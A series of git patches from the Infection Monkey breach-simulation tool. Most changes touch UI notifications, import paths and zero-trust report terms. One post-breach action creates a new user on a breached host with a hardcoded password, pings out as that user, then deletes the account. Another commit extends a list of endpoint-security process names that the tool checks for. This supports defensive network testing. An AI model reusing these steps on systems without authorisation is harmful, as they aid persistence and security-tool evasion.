+                logger.exception('Failed to export report, error: ' + e.message)

From dc2686301cc85e7e593d9ae502cedb0d3f4a863d Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Mon, 9 Sep 2019 10:20:23 +0300
Subject: [PATCH 46/78] Fixed notification link and updated legend texts

---
 monkey/monkey_island/cc/ui/src/components/Main.js        | 9 ++++++---
 .../report-components/zerotrust/ReportLegend.js          | 7 +++----
 2 files changed, 9 insertions(+), 7 deletions(-)

diff --git a/monkey/monkey_island/cc/ui/src/components/Main.js b/monkey/monkey_island/cc/ui/src/components/Main.js
index 982791782..3a51103c9 100644
--- a/monkey/monkey_island/cc/ui/src/components/Main.js
+++ b/monkey/monkey_island/cc/ui/src/components/Main.js
@@ -29,6 +29,8 @@ let infectionMonkeyImage = require('../images/infection-monkey.svg');
 let guardicoreLogoImage = require('../images/guardicore-logo.png');
 let notificationIcon = require('../images/notification-logo-512x512.png');
 
+const reportZeroTrustPath = '/report/zero_trust';
+
 class AppComponent extends AuthComponent {
   updateStatus = () => {
     this.auth.loggedIn()
@@ -200,7 +202,7 @@ class AppComponent extends AuthComponent {
               {this.renderRoute('/infection/telemetry', <TelemetryPage onStatusChange={this.updateStatus}/>)}
               {this.renderRoute('/start-over', <StartOverPage onStatusChange={this.updateStatus}/>)}
               {this.renderRoute('/report/security', <ReportPage onStatusChange={this.updateStatus}/>)}
-              {this.renderRoute('/report/zero_trust', <ZeroTrustReportPage onStatusChange={this.updateStatus}/>)}
+              {this.renderRoute(reportZeroTrustPath, <ZeroTrustReportPage onStatusChange={this.updateStatus}/>)}
               {this.renderRoute('/license', <LicensePage onStatusChange={this.updateStatus}/>)}
             </Col>
           </Row>
@@ -211,8 +213,9 @@ class AppComponent extends AuthComponent {
 
   showInfectionDoneNotification() {
     if (this.state.completedSteps.infection_done) {
-      let hostname = window.location.hostname;
-      let url = `https://${hostname}:5000/report`;
+      const hostname = window.location.hostname;
+      const port = window.location.port;
+      let url = `https://${hostname}:${port}/${reportZeroTrustPath}`;
       console.log("Trying to show notification. URL: " + url + " | icon: " + notificationIcon);
 
       Notifier.start(
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js
index 143120793..34c18eb26 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js
@@ -27,19 +27,18 @@ class ZeroTrustReportLegend extends Component {
 
   getLegendContent() {
     return <div id={this.constructor.name}>
-      <h4>Statuses</h4>
       <ul style={{listStyle: "none"}}>
         <li>
           <div style={{display: "inline-block"}}>
             <StatusLabel showText={true} status={ZeroTrustStatuses.failed}/>
           </div>
-          {"\t"}Some tests failed; the monkeys found something wrong.
+          {"\t"}At least one of the tests related to this component failed. This means that the Infection Monkey detected an unmet Zero Trust requirement.
         </li>
         <li>
           <div style={{display: "inline-block"}}>
             <StatusLabel showText={true} status={ZeroTrustStatuses.inconclusive}/>
           </div>
-          {"\t"}The test ran; manual verification is required to determine the results.
+          {"\t"}At least one of the tests’ results related to this component requires further manual verification.
         </li>
         <li>
           <div style={{display: "inline-block"}}>
@@ -55,7 +54,7 @@ class ZeroTrustReportLegend extends Component {
         </li>
       </ul>
       <hr />
-      Some of the tests can be activated using the <NavLink to="/configuration"><u>configuration</u></NavLink>.
+      To activate more tests, go to the Monkey <NavLink to="/configuration"><u>configuration</u></NavLink> page.n
     </div>;
   }
 }

From e010ea5b39f48af14a32fb82ebfab6b2b2ef35dc Mon Sep 17 00:00:00 2001
From: Daniel Goldberg <danielg@guardicore.com>
Date: Thu, 5 Sep 2019 21:11:20 +0300
Subject: [PATCH 47/78] Fully explict path all the things

---
 monkey/monkey_island/cc/main.py                             | 2 +-
 monkey/monkey_island/cc/services/report.py                  | 4 ++--
 monkey/monkey_island/cc/services/reporting/aws_exporter.py  | 2 +-
 monkey/monkey_island/cc/services/reporting/exporter_init.py | 4 ++--
 4 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py
index b6c7cb7ab..8c817e935 100644
--- a/monkey/monkey_island/cc/main.py
+++ b/monkey/monkey_island/cc/main.py
@@ -21,7 +21,7 @@ json_setup_logging(default_path=os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'isla
 logger = logging.getLogger(__name__)
 
 from monkey_island.cc.app import init_app
-from cc.services.reporting.exporter_init import populate_exporter_list
+from monkey_island.cc.services.reporting.exporter_init import populate_exporter_list
 from monkey_island.cc.utils import local_ip_addresses
 from monkey_island.cc.environment.environment import env
 from monkey_island.cc.database import is_db_server_up, get_db_version
diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py
index 2b89be782..409586e66 100644
--- a/monkey/monkey_island/cc/services/report.py
+++ b/monkey/monkey_island/cc/services/report.py
@@ -11,12 +11,12 @@ from six import text_type
 
 from monkey_island.cc.database import mongo
 from monkey_island.cc.models import Monkey
-from cc.services.reporting.report_exporter_manager import ReportExporterManager
+from monkey_island.cc.services.reporting.report_exporter_manager import ReportExporterManager
 from monkey_island.cc.services.config import ConfigService
 from monkey_island.cc.services.edge import EdgeService
 from monkey_island.cc.services.node import NodeService
 from monkey_island.cc.utils import local_ip_addresses, get_subnets
-from pth_report import PTHReportService
+from monkey_island.cc.services.pth_report import PTHReportService
 from common.network.network_range import NetworkRange
 
 __author__ = "itay.mizeretz"
diff --git a/monkey/monkey_island/cc/services/reporting/aws_exporter.py b/monkey/monkey_island/cc/services/reporting/aws_exporter.py
index 52f3797a3..84940df56 100644
--- a/monkey/monkey_island/cc/services/reporting/aws_exporter.py
+++ b/monkey/monkey_island/cc/services/reporting/aws_exporter.py
@@ -7,7 +7,7 @@ from botocore.exceptions import UnknownServiceError
 
 from common.cloud.aws_instance import AwsInstance
 from monkey_island.cc.environment.environment import load_server_configuration_from_file
-from cc.services.reporting.exporter import Exporter
+from monkey_island.cc.services.reporting.exporter import Exporter
 
 __authors__ = ['maor.rayzin', 'shay.nehmad']
 
diff --git a/monkey/monkey_island/cc/services/reporting/exporter_init.py b/monkey/monkey_island/cc/services/reporting/exporter_init.py
index 7a9c0d64f..bd4e82f3e 100644
--- a/monkey/monkey_island/cc/services/reporting/exporter_init.py
+++ b/monkey/monkey_island/cc/services/reporting/exporter_init.py
@@ -1,7 +1,7 @@
 import logging
 
-from cc.services.reporting.report_exporter_manager import ReportExporterManager
-from cc.services.reporting.aws_exporter import AWSExporter
+from monkey_island.cc.services.reporting.report_exporter_manager import ReportExporterManager
+from monkey_island.cc.services.reporting.aws_exporter import AWSExporter
 from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService
 from monkey_island.cc.environment.environment import env
 logger = logging.getLogger(__name__)

From 313911fd77ede40cccb08016de320c5715ad1ba8 Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Mon, 9 Sep 2019 11:38:37 +0300
Subject: [PATCH 48/78] Deleted console log + fixed link in notification

---
 monkey/monkey_island/cc/ui/src/components/Main.js | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/monkey/monkey_island/cc/ui/src/components/Main.js b/monkey/monkey_island/cc/ui/src/components/Main.js
index 3a51103c9..5d2f6b898 100644
--- a/monkey/monkey_island/cc/ui/src/components/Main.js
+++ b/monkey/monkey_island/cc/ui/src/components/Main.js
@@ -215,8 +215,7 @@ class AppComponent extends AuthComponent {
     if (this.state.completedSteps.infection_done) {
       const hostname = window.location.hostname;
       const port = window.location.port;
-      let url = `https://${hostname}:${port}/${reportZeroTrustPath}`;
-      console.log("Trying to show notification. URL: " + url + " | icon: " + notificationIcon);
+      let url = `https://${hostname}:${port}${reportZeroTrustPath}`;
 
       Notifier.start(
         "Monkey Island",

From 63d76f19f866519e18e4066fbfe507742554b8a7 Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Mon, 9 Sep 2019 11:47:16 +0300
Subject: [PATCH 49/78] Updated notification to only show if the island is not
 on the report page already

---
 .../cc/ui/src/components/Main.js              | 23 +++++++++++--------
 1 file changed, 13 insertions(+), 10 deletions(-)

diff --git a/monkey/monkey_island/cc/ui/src/components/Main.js b/monkey/monkey_island/cc/ui/src/components/Main.js
index 5d2f6b898..1df53fd4f 100644
--- a/monkey/monkey_island/cc/ui/src/components/Main.js
+++ b/monkey/monkey_island/cc/ui/src/components/Main.js
@@ -29,7 +29,7 @@ let infectionMonkeyImage = require('../images/infection-monkey.svg');
 let guardicoreLogoImage = require('../images/guardicore-logo.png');
 let notificationIcon = require('../images/notification-logo-512x512.png');
 
-const reportZeroTrustPath = '/report/zero_trust';
+const reportZeroTrustRoute = '/report/zero_trust';
 
 class AppComponent extends AuthComponent {
   updateStatus = () => {
@@ -202,7 +202,7 @@ class AppComponent extends AuthComponent {
               {this.renderRoute('/infection/telemetry', <TelemetryPage onStatusChange={this.updateStatus}/>)}
               {this.renderRoute('/start-over', <StartOverPage onStatusChange={this.updateStatus}/>)}
               {this.renderRoute('/report/security', <ReportPage onStatusChange={this.updateStatus}/>)}
-              {this.renderRoute(reportZeroTrustPath, <ZeroTrustReportPage onStatusChange={this.updateStatus}/>)}
+              {this.renderRoute(reportZeroTrustRoute, <ZeroTrustReportPage onStatusChange={this.updateStatus}/>)}
               {this.renderRoute('/license', <LicensePage onStatusChange={this.updateStatus}/>)}
             </Col>
           </Row>
@@ -213,15 +213,18 @@ class AppComponent extends AuthComponent {
 
   showInfectionDoneNotification() {
     if (this.state.completedSteps.infection_done) {
-      const hostname = window.location.hostname;
-      const port = window.location.port;
-      let url = `https://${hostname}:${port}${reportZeroTrustPath}`;
+      // No need to show the notification to redirect to the report if we're already in the report page
+      if (!window.location.href.includes("report")) {
+        const hostname = window.location.hostname;
+        const port = window.location.port;
+        let url = `https://${hostname}:${port}${reportZeroTrustRoute}`;
 
-      Notifier.start(
-        "Monkey Island",
-        "Infection is done! Click here to go to the report page.",
-        url,
-        notificationIcon);
+        Notifier.start(
+          "Monkey Island",
+          "Infection is done! Click here to go to the report page.",
+          url,
+          notificationIcon);
+      }
     }
   }
 }

From a32012ce5212e0e7ed2e79ee8d664cfad3cfdbd4 Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Mon, 9 Sep 2019 13:35:46 +0300
Subject: [PATCH 50/78] Added communicate as new user to default PBA actions

---
 monkey/monkey_island/cc/services/config_schema.py | 1 +
 1 file changed, 1 insertion(+)

diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py
index 16b51984d..046273912 100644
--- a/monkey/monkey_island/cc/services/config_schema.py
+++ b/monkey/monkey_island/cc/services/config_schema.py
@@ -337,6 +337,7 @@ SCHEMA = {
                                 "$ref": "#/definitions/post_breach_acts"
                             },
                             "default": [
+                                "CommunicateAsNewUser"
                             ],
                             "description": "List of actions the Monkey will run post breach"
                         },

From a51a6065b8c432a6cc2521e771b855aaf527b889 Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Mon, 9 Sep 2019 17:27:53 +0300
Subject: [PATCH 51/78] Now looking at the exit codes of ping

---
 monkey/common/data/zero_trust_consts.py       |  3 +-
 .../actions/communicate_as_new_user.py        | 37 ++++++++++++++-----
 2 files changed, 30 insertions(+), 10 deletions(-)

diff --git a/monkey/common/data/zero_trust_consts.py b/monkey/common/data/zero_trust_consts.py
index 385f28338..780aaafa4 100644
--- a/monkey/common/data/zero_trust_consts.py
+++ b/monkey/common/data/zero_trust_consts.py
@@ -57,7 +57,8 @@ RECOMMENDATIONS = {
     RECOMMENDATION_ENDPOINT_SECURITY: u"Use anti-virus and other traditional endpoint security solutions.",
     RECOMMENDATION_DATA_TRANSIT: u"Secure data at transit by encrypting it.",
     RECOMMENDATION_RESTRICTIVE_NETWORK_POLICIES: u"Configure network policies to be as restrictive as possible.",
-    RECOMMENDATION_USERS_MAC_POLICIES: u"Users' permissions to the network and to resources should be MAC only.",
+    RECOMMENDATION_USERS_MAC_POLICIES: u"Users' permissions to the network and to resources should be MAC (Mandetory "
+                                       u"Access Control) only.",
 }
 
 POSSIBLE_STATUSES_KEY = u"possible_statuses"
diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
index 9db9bd436..be2b824bb 100644
--- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
+++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
@@ -3,6 +3,7 @@ import os
 import random
 import string
 import subprocess
+import time
 
 from common.data.post_breach_consts import POST_BREACH_COMMUNICATE_AS_NEW_USER
 from infection_monkey.monkey_utils.windows.new_user import NewUser, NewUserError
@@ -11,8 +12,12 @@ from infection_monkey.post_breach.pba import PBA
 from infection_monkey.telemetry.post_breach_telem import PostBreachTelem
 from infection_monkey.utils import is_windows_os
 
-CREATED_PROCESS_AS_USER_WINDOWS_FORMAT = "Created process '{}' as user '{}'."
-CREATED_PROCESS_AS_USER_LINUX_FORMAT = "Created process '{}' as user '{}'. Some of the output was '{}'."
+PING_TEST_DOMAIN = "google.com"
+
+PING_WAIT_TIMEOUT_IN_SECONDS = 20
+
+CREATED_PROCESS_AS_USER_PING_SUCCESS_FORMAT = "Created process '{}' as user '{}', and successfully pinged."
+CREATED_PROCESS_AS_USER_PING_FAILED_FORMAT = "Created process '{}' as user '{}', but failed to ping (exit status {})."
 
 USERNAME = "somenewuser"
 PASSWORD = "N3WPa55W0rD!1"
@@ -40,12 +45,11 @@ class CommunicateAsNewUser(PBA):
         try:
             # add user + ping
             linux_cmds = BackdoorUser.get_linux_commands_to_add_user(username)
-            commandline = "ping -c 2 google.com"
+            commandline = "ping -c 1 {}".format(PING_TEST_DOMAIN)
             linux_cmds.extend([";", "sudo", "-u", username, commandline])
             final_command = ' '.join(linux_cmds)
-            output = subprocess.check_output(final_command, stderr=subprocess.STDOUT, shell=True)
-            PostBreachTelem(self, (
-                CREATED_PROCESS_AS_USER_LINUX_FORMAT.format(commandline, username, output[:150]), True)).send()
+            exit_status = os.system(final_command)
+            self.send_ping_result_telemetry(exit_status, commandline, username)
             # delete the user
             _ = subprocess.check_output(
                 BackdoorUser.get_linux_commands_to_delete_user(username), stderr=subprocess.STDOUT, shell=True)
@@ -69,7 +73,7 @@ class CommunicateAsNewUser(PBA):
                 try:
                     # Open process as that user:
                     # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessasusera
-                    commandline = "{} {} {} {}".format(ping_app_path, "google.com", "-n", "2")
+                    commandline = "{} {} {} {}".format(ping_app_path, PING_TEST_DOMAIN, "-n", "1")
                     process_info = win32process.CreateProcessAsUser(
                         new_user.get_logon_handle(),  # A handle to the primary token that represents a user.
                         None,  # The name of the module to be executed.
@@ -86,8 +90,15 @@ class CommunicateAsNewUser(PBA):
                         # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa
                     )
 
-                    PostBreachTelem(self,
-                                    (CREATED_PROCESS_AS_USER_WINDOWS_FORMAT.format(commandline, username), True)).send()
+                    ping_exit_code = win32process.GetExitCodeProcess(process_info[0])
+                    counter = 0
+                    while ping_exit_code == win32con.STILL_ACTIVE and counter < PING_WAIT_TIMEOUT_IN_SECONDS:
+                        ping_exit_code = win32process.GetExitCodeProcess(process_info[0])
+                        counter += 1
+                        logger.debug("Waiting for ping to finish, round {}. Exit code: {}".format(counter, ping_exit_code))
+                        time.sleep(1)
+
+                    self.send_ping_result_telemetry(ping_exit_code, commandline, username)
 
                     win32api.CloseHandle(process_info[0])  # Process handle
                     win32api.CloseHandle(process_info[1])  # Thread handle
@@ -106,3 +117,11 @@ class CommunicateAsNewUser(PBA):
                 False)).send()
         except NewUserError as e:
             PostBreachTelem(self, (str(e), False)).send()
+
+    def send_ping_result_telemetry(self, exit_status, commandline, username):
+        if exit_status == 0:
+            PostBreachTelem(self, (
+                CREATED_PROCESS_AS_USER_PING_SUCCESS_FORMAT.format(commandline, username), True)).send()
+        else:
+            PostBreachTelem(self, (
+                CREATED_PROCESS_AS_USER_PING_FAILED_FORMAT.format(commandline, username, exit_status), False)).send()

From 53f31ddcc984b7899d15143ff9c3d4d10ea05f8d Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Mon, 9 Sep 2019 17:36:00 +0300
Subject: [PATCH 52/78] Refactored notification logic to method

---
 .../cc/ui/src/components/Main.js              | 26 ++++++++++---------
 1 file changed, 14 insertions(+), 12 deletions(-)

diff --git a/monkey/monkey_island/cc/ui/src/components/Main.js b/monkey/monkey_island/cc/ui/src/components/Main.js
index 1df53fd4f..9fd3d8f1c 100644
--- a/monkey/monkey_island/cc/ui/src/components/Main.js
+++ b/monkey/monkey_island/cc/ui/src/components/Main.js
@@ -212,21 +212,23 @@ class AppComponent extends AuthComponent {
   }
 
   showInfectionDoneNotification() {
-    if (this.state.completedSteps.infection_done) {
-      // No need to show the notification to redirect to the report if we're already in the report page
-      if (!window.location.href.includes("report")) {
-        const hostname = window.location.hostname;
-        const port = window.location.port;
-        let url = `https://${hostname}:${port}${reportZeroTrustRoute}`;
+    if (this.shouldShowNotification()) {
+      const hostname = window.location.hostname;
+      const port = window.location.port;
+      const url = `https://${hostname}:${port}${reportZeroTrustRoute}`;
 
-        Notifier.start(
-          "Monkey Island",
-          "Infection is done! Click here to go to the report page.",
-          url,
-          notificationIcon);
-      }
+      Notifier.start(
+        "Monkey Island",
+        "Infection is done! Click here to go to the report page.",
+        url,
+        notificationIcon);
     }
   }
+
+  shouldShowNotification() {
+    // No need to show the notification to redirect to the report if we're already in the report page
+    return (this.state.completedSteps.infection_done && !window.location.pathname.startsWith("/report"));
+  }
 }
 
 AppComponent.defaultProps = {};

From 4dca735265f62c771926e3bdd9df291110726fa4 Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Tue, 10 Sep 2019 14:43:48 +0300
Subject: [PATCH 53/78] Changed `check_output` to `Popen` to make user deletion
 async

we don't care about its result
---
 .../post_breach/actions/communicate_as_new_user.py           | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
index be2b824bb..75acf6fe0 100644
--- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
+++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
@@ -50,9 +50,10 @@ class CommunicateAsNewUser(PBA):
             final_command = ' '.join(linux_cmds)
             exit_status = os.system(final_command)
             self.send_ping_result_telemetry(exit_status, commandline, username)
-            # delete the user
-            _ = subprocess.check_output(
+            # delete the user, async in case it gets stuck.
+            _ = subprocess.Popen(
                 BackdoorUser.get_linux_commands_to_delete_user(username), stderr=subprocess.STDOUT, shell=True)
+            # Leaking the process on purpose - nothing we can do if it's stuck.
         except subprocess.CalledProcessError as e:
             PostBreachTelem(self, (e.output, False)).send()
 

From 50f8e9053a31669d1e486555c0e5be364f09f742 Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Tue, 10 Sep 2019 14:50:54 +0300
Subject: [PATCH 54/78] Changed on windows as well

---
 monkey/infection_monkey/monkey_utils/windows/new_user.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/monkey/infection_monkey/monkey_utils/windows/new_user.py b/monkey/infection_monkey/monkey_utils/windows/new_user.py
index 14db5c1ae..fbe4bd832 100644
--- a/monkey/infection_monkey/monkey_utils/windows/new_user.py
+++ b/monkey/infection_monkey/monkey_utils/windows/new_user.py
@@ -63,7 +63,7 @@ class NewUser(object):
 
         # Try to delete user
         try:
-            _ = subprocess.check_output(
+            _ = subprocess.Popen(
                 BackdoorUser.get_windows_commands_to_delete_user(self.username), stderr=subprocess.STDOUT, shell=True)
         except Exception as err:
             raise NewUserError("Can't delete user {}. Info: {}".format(self.username, err))

From 5f02ebe1e0f217bd23d6ee407d2c00033a602dff Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Tue, 10 Sep 2019 19:32:46 +0300
Subject: [PATCH 55/78] Added Guardicore processes to AV list

---
 .../zero_trust_tests/known_anti_viruses.py    | 20 ++++++++++++++++++-
 1 file changed, 19 insertions(+), 1 deletion(-)

diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/known_anti_viruses.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/known_anti_viruses.py
index e10792d0c..e5d7c2355 100644
--- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/known_anti_viruses.py
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/known_anti_viruses.py
@@ -65,5 +65,23 @@ ANTI_VIRUS_KNOWN_PROCESS_NAMES = [
     u"DWHWizrd.exe",
     u"RtvStart.exe",
     u"roru.exe",
-    u"WSCSAvNotifier"
+    u"WSCSAvNotifier",
+    # Guardicore Centra
+    # Linux
+    u"gc-agents-service",
+    u"gc-guest-agent",
+    u"gc-guardig",
+    u"gc-digger",
+    u"gc-fastpath",
+    u"gc-enforcement-agent",
+    u"gc-enforcement-channel",
+    u"gc-detection-agent",
+    # Windows
+    u"gc-guest-agent.exe",
+    u"gc-windig.exe",
+    u"gc-digger.exe",
+    u"gc-fastpath.exe",
+    u"gc-enforcement-channel.exe",
+    u"gc-enforcement-agent.exe",
+    u"gc-agent-ui.exe"
 ]

From cfd0c10d59a7885a71ee4a6e2d17372135f83d34 Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Tue, 10 Sep 2019 23:44:03 +0300
Subject: [PATCH 56/78] Refactoring inconclusive to verify and recommendation
 to principle

Product writer's orders
---
 monkey/common/data/zero_trust_consts.py       | 94 +++++++++----------
 .../cc/models/zero_trust/finding.py           |  4 +-
 .../zero_trust/test_aggregate_finding.py      |  4 +-
 .../cc/resources/reporting/report.py          |  6 +-
 .../reporting/test_zero_trust_service.py      | 64 ++++++-------
 .../services/reporting/zero_trust_service.py  | 32 +++----
 .../zero_trust_tests/data_endpoints.py        |  2 +-
 .../zero_trust_tests/machine_exploited.py     |  2 +-
 .../telemetry/zero_trust_tests/tunneling.py   |  4 +-
 .../components/pages/ZeroTrustReportPage.js   | 12 +--
 .../zerotrust/FindingsSection.js              |  2 +-
 .../zerotrust/PrinciplesSection.js            | 29 ++++++
 ...tatusTable.js => PrinciplesStatusTable.js} | 12 +--
 .../zerotrust/RecommendationsSection.js       | 29 ------
 .../zerotrust/ReportLegend.js                 |  5 +-
 ...tus.js => SinglePillarPrinciplesStatus.js} | 12 +--
 .../zerotrust/StatusLabel.js                  |  4 +-
 .../zerotrust/StatusesToPillarsSummary.js     |  2 +-
 .../zerotrust/SummarySection.js               | 17 +---
 .../zerotrust/ZeroTrustPillars.js             |  2 +-
 .../zerotrust/venn-components/VennDiagram.js  | 11 +--
 21 files changed, 167 insertions(+), 182 deletions(-)
 create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesSection.js
 rename monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/{RecommendationsStatusTable.js => PrinciplesStatusTable.js} (79%)
 delete mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsSection.js
 rename monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/{SinglePillarRecommendationsStatus.js => SinglePillarPrinciplesStatus.js} (67%)

diff --git a/monkey/common/data/zero_trust_consts.py b/monkey/common/data/zero_trust_consts.py
index 780aaafa4..3362756d9 100644
--- a/monkey/common/data/zero_trust_consts.py
+++ b/monkey/common/data/zero_trust_consts.py
@@ -2,7 +2,7 @@
 This file contains all the static data relating to Zero Trust. It is mostly used in the zero trust report generation and
 in creating findings.
 
-This file contains static mappings between zero trust components such as: pillars, recommendations, tests, statuses.
+This file contains static mappings between zero trust components such as: pillars, principles, tests, statuses.
 Some of the mappings are computed when this module is loaded.
 """
 
@@ -17,10 +17,10 @@ PILLARS = (DATA, PEOPLE, NETWORKS, DEVICES, WORKLOADS, VISIBILITY_ANALYTICS, AUT
 
 STATUS_UNEXECUTED = u"Unexecuted"
 STATUS_PASSED = u"Passed"
-STATUS_INCONCLUSIVE = u"Inconclusive"
+STATUS_VERIFY = u"Verify"
 STATUS_FAILED = u"Failed"
 # Don't change order! The statuses are ordered by importance/severity.
-ORDERED_TEST_STATUSES = [STATUS_FAILED, STATUS_INCONCLUSIVE, STATUS_PASSED, STATUS_UNEXECUTED]
+ORDERED_TEST_STATUSES = [STATUS_FAILED, STATUS_VERIFY, STATUS_PASSED, STATUS_UNEXECUTED]
 
 TEST_DATA_ENDPOINT_ELASTIC = u"unencrypted_data_endpoint_elastic"
 TEST_DATA_ENDPOINT_HTTP = u"unencrypted_data_endpoint_http"
@@ -43,27 +43,27 @@ TESTS = (
     TEST_COMMUNICATE_AS_NEW_USER
 )
 
-RECOMMENDATION_DATA_TRANSIT = u"data_transit"
-RECOMMENDATION_ENDPOINT_SECURITY = u"endpoint_security"
-RECOMMENDATION_USER_BEHAVIOUR = u"user_behaviour"
-RECOMMENDATION_ANALYZE_NETWORK_TRAFFIC = u"analyze_network_traffic"
-RECOMMENDATION_SEGMENTATION = u"segmentation"
-RECOMMENDATION_RESTRICTIVE_NETWORK_POLICIES = u"network_policies"
-RECOMMENDATION_USERS_MAC_POLICIES = u"users_mac_policies"
-RECOMMENDATIONS = {
-    RECOMMENDATION_SEGMENTATION: u"Apply segmentation and micro-segmentation inside your network.",
-    RECOMMENDATION_ANALYZE_NETWORK_TRAFFIC: u"Analyze network traffic for malicious activity.",
-    RECOMMENDATION_USER_BEHAVIOUR: u"Adopt security user behavior analytics.",
-    RECOMMENDATION_ENDPOINT_SECURITY: u"Use anti-virus and other traditional endpoint security solutions.",
-    RECOMMENDATION_DATA_TRANSIT: u"Secure data at transit by encrypting it.",
-    RECOMMENDATION_RESTRICTIVE_NETWORK_POLICIES: u"Configure network policies to be as restrictive as possible.",
-    RECOMMENDATION_USERS_MAC_POLICIES: u"Users' permissions to the network and to resources should be MAC (Mandetory "
+PRINCIPLE_DATA_TRANSIT = u"data_transit"
+PRINCIPLE_ENDPOINT_SECURITY = u"endpoint_security"
+PRINCIPLE_USER_BEHAVIOUR = u"user_behaviour"
+PRINCIPLE_ANALYZE_NETWORK_TRAFFIC = u"analyze_network_traffic"
+PRINCIPLE_SEGMENTATION = u"segmentation"
+PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES = u"network_policies"
+PRINCIPLE_USERS_MAC_POLICIES = u"users_mac_policies"
+PRINCIPLES = {
+    PRINCIPLE_SEGMENTATION: u"Apply segmentation and micro-segmentation inside your network.",
+    PRINCIPLE_ANALYZE_NETWORK_TRAFFIC: u"Analyze network traffic for malicious activity.",
+    PRINCIPLE_USER_BEHAVIOUR: u"Adopt security user behavior analytics.",
+    PRINCIPLE_ENDPOINT_SECURITY: u"Use anti-virus and other traditional endpoint security solutions.",
+    PRINCIPLE_DATA_TRANSIT: u"Secure data at transit by encrypting it.",
+    PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES: u"Configure network policies to be as restrictive as possible.",
+    PRINCIPLE_USERS_MAC_POLICIES: u"Users' permissions to the network and to resources should be MAC (Mandetory "
                                        u"Access Control) only.",
 }
 
 POSSIBLE_STATUSES_KEY = u"possible_statuses"
 PILLARS_KEY = u"pillars"
-RECOMMENDATION_KEY = u"recommendation_key"
+PRINCIPLE_KEY = u"principle_key"
 FINDING_EXPLANATION_BY_STATUS_KEY = u"finding_explanation"
 TEST_EXPLANATION_KEY = u"explanation"
 TESTS_MAP = {
@@ -73,18 +73,18 @@ TESTS_MAP = {
             STATUS_FAILED: "Monkey performed cross-segment communication. Check firewall rules and logs.",
             STATUS_PASSED: "Monkey couldn't perform cross-segment communication. If relevant, check firewall logs."
         },
-        RECOMMENDATION_KEY: RECOMMENDATION_SEGMENTATION,
+        PRINCIPLE_KEY: PRINCIPLE_SEGMENTATION,
         PILLARS_KEY: [NETWORKS],
         POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_PASSED, STATUS_FAILED]
     },
     TEST_MALICIOUS_ACTIVITY_TIMELINE: {
         TEST_EXPLANATION_KEY: u"The Monkeys in the network performed malicious-looking actions, like scanning and attempting exploitation.",
         FINDING_EXPLANATION_BY_STATUS_KEY: {
-            STATUS_INCONCLUSIVE: "Monkey performed malicious actions in the network. Check SOC logs and alerts."
+            STATUS_VERIFY: "Monkey performed malicious actions in the network. Check SOC logs and alerts."
         },
-        RECOMMENDATION_KEY: RECOMMENDATION_ANALYZE_NETWORK_TRAFFIC,
+        PRINCIPLE_KEY: PRINCIPLE_ANALYZE_NETWORK_TRAFFIC,
         PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS],
-        POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_INCONCLUSIVE]
+        POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_VERIFY]
     },
     TEST_ENDPOINT_SECURITY_EXISTS: {
         TEST_EXPLANATION_KEY: u"The Monkey checked if there is an active process of an endpoint security software.",
@@ -92,7 +92,7 @@ TESTS_MAP = {
             STATUS_FAILED: "Monkey didn't find ANY active endpoint security processes. Install and activate anti-virus software on endpoints.",
